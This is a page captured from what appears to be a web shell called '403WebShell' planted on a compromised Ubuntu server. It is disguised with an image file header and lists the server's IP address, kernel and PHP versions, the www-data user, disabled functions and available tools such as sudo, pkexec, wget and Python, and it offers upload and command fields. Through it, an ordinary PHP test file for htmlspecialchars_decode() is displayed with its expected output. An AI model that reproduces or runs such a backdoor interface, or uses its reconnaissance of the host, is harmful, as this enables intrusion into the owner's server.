????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.170
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/b8009/php-5.6.22/ext/standard/tests/strings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/b8009/php-5.6.22/ext/standard/tests/strings/htmlspecialchars_decode_variation7.phpt
--TEST--
Test htmlspecialchars_decode() function : usage variations - numerical entities for basic characters
--FILE--
<?php
$tests = array(
    "&quot;", "&#x22;", "&#34;",
    "&apos;", "&#39;", "&#x27;",
    "&amp;", "&#x26;", "&lt;",
    "&gt;", "&#x3C;", "&#60;",
    "&lt;", "&#x3E;", "&#62;",
    "&#63;"
);

echo "*** HTML 4.01/ENT_QUOTES  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_QUOTES | ENT_HTML401);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}

echo "\n*** XHTML 1.0/ENT_QUOTES  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_QUOTES | ENT_XHTML);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}

echo "\n*** HTML5/ENT_QUOTES  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_QUOTES | ENT_HTML5);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}

echo "\n*** XML 1.0/ENT_QUOTES  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_QUOTES | ENT_XML1);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}

echo "\n*** HTML5/ENT_NOQUOTES  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_NOQUOTES | ENT_HTML5);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}

echo "\n*** HTML5/ENT_COMPAT  ***\n";

foreach ($tests as $t) {
    $dec = htmlspecialchars_decode($t, ENT_COMPAT | ENT_HTML5);
    if ($t == $dec) {
        echo "$t\tNOT DECODED\n";
    } else {
        echo "$t\tDECODED\n";
    }
}


echo "\nDone.\n";
?>
--EXPECT--
*** HTML 4.01/ENT_QUOTES  ***
&quot;	DECODED
&#x22;	DECODED
&#34;	DECODED
&apos;	NOT DECODED
&#39;	DECODED
&#x27;	DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

*** XHTML 1.0/ENT_QUOTES  ***
&quot;	DECODED
&#x22;	DECODED
&#34;	DECODED
&apos;	DECODED
&#39;	DECODED
&#x27;	DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

*** HTML5/ENT_QUOTES  ***
&quot;	DECODED
&#x22;	DECODED
&#34;	DECODED
&apos;	DECODED
&#39;	DECODED
&#x27;	DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

*** XML 1.0/ENT_QUOTES  ***
&quot;	DECODED
&#x22;	DECODED
&#34;	DECODED
&apos;	DECODED
&#39;	DECODED
&#x27;	DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

*** HTML5/ENT_NOQUOTES  ***
&quot;	NOT DECODED
&#x22;	NOT DECODED
&#34;	NOT DECODED
&apos;	NOT DECODED
&#39;	NOT DECODED
&#x27;	NOT DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

*** HTML5/ENT_COMPAT  ***
&quot;	DECODED
&#x22;	DECODED
&#34;	DECODED
&apos;	NOT DECODED
&#39;	NOT DECODED
&#x27;	NOT DECODED
&amp;	DECODED
&#x26;	DECODED
&lt;	DECODED
&gt;	DECODED
&#x3C;	DECODED
&#60;	DECODED
&lt;	DECODED
&#x3E;	DECODED
&#62;	DECODED
&#63;	NOT DECODED

Done.

Youez - 2016 - github.com/yon3zu
LinuXploit